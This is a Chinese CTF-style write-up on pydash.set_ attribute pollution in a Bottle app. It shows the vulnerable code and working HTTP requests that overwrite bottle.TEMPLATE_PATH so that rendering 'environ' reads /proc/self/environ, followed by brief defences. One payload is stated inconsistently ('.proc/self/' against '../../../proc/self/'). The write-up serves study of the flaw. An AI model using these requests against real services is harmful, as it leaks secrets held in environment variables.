Pydash set方法原型链污染漏洞分析:以Bottle框架环境变量泄露为例
字数 855 2025-08-29 08:29:41
Pydash set方法原型链污染漏洞分析与利用
漏洞概述
本漏洞利用Pydash库的set_方法实现原型链污染,结合Bottle框架的模板渲染机制,最终实现环境变量泄露。该漏洞在NCTF和SUCTF2025等CTF比赛中出现过类似题型。
漏洞分析
关键代码分析
from typing import Optional
import pydash
import bottle
# 黑名单定义
__forbidden_path__ = ['__annotations__', '__call__', '__class__', ...]
__forbidden_name__ = ["bottle"]
def setval(name: str, path: str, value: str) -> Optional[bool]:
# 检查黑名单
if name.find("__") >= 0: return False
for word in __forbidden_name__:
if name == word: return False
for word in __forbidden_path__:
if path.find(word) >= 0: return False
obj = globals()[name]
try:
pydash.set_(obj, path, value) # 关键漏洞点
except:
return False
return True
@bottle.post('/setValue')
def set_value():
name = bottle.request.query.get('name')
path = bottle.request.json.get('path')
if not isinstance(path, str): return "no"
if len(name) > 6 or len(path) > 32: return "no"
value = bottle.request.json.get('value')
return "yes" if setval(name, path, value) else "no"
@bottle.get('/render')
def render_template():
path = bottle.request.query.get('path')
if len(path) > 10: return "hacker"
blacklist = ["{", "}", ".", "%", "<", ">", "_"]
for c in path:
if c in blacklist: return "hacker"
return bottle.template(path) # 模板渲染点
bottle.run(host='0.0.0.0', port=8000)
Pydash.set_方法
pydash.set_方法允许通过路径字符串修改对象的属性:
def set_(obj: T, path: PathT, value: t.Any) -> T:
"""Sets the value of an object described by `path`."""
return set_with(obj, path, value)
示例用法:
class Apple:
def __init__(self):
self.name = "apple"
self.sweet = 10
a = Apple()
pydash.set_(a, "sweet", 100) # 修改a.sweet为100
Bottle模板渲染机制
bottle.template(path)的渲染流程:
- 默认使用
SimpleTemplate作为模板引擎 - 默认模板搜索路径
TEMPLATE_PATH为['./','./views/'] - 通过
search()方法在TEMPLATE_PATH中查找模板文件 - 使用
SimpleTemplate.prepare()初始化模板处理逻辑 - 最终通过
render()方法执行模板渲染
漏洞利用链
完整的利用链如下:
template:adapter() ->
class:BaseTemplate:search() ->
class:SimpleTemplate:prepare() ->
render() ->
exec() ->
stdout
利用步骤
-
污染TEMPLATE_PATH:
- 目标是将
bottle.TEMPLATE_PATH修改为['../../../proc/self/'] - 这样在渲染
environ模板时会读取/proc/self/environ文件
- 目标是将
-
绕过限制:
setval函数有黑名单限制,不能直接修改bottle模块- 需要先污染
RESTRICTED_KEYS(Pydash内部限制修改的属性)
-
最终Payload:
setval.__globals__.bottle.TEMPLATE_PATH = ['.proc/self/']
实际利用
-
首先发送请求污染
TEMPLATE_PATH:POST /setValue?name=setval HTTP/1.1 Content-Type: application/json { "path": "__globals__.bottle.TEMPLATE_PATH", "value": ["../../../proc/self/"] } -
然后访问渲染接口读取环境变量:
GET /render?path=environ HTTP/1.1
防御措施
- 严格限制用户输入的路径参数
- 避免使用不安全的对象属性修改方法
- 对模板文件路径进行规范化处理
- 使用更严格的权限控制
总结
该漏洞结合了Pydash的原型链污染和Bottle框架的模板渲染机制,通过精心构造的路径污染实现环境变量泄露。理解这种漏洞需要对JavaScript/Python的原型链/对象模型有深入理解,同时也需要熟悉Web框架的内部工作机制。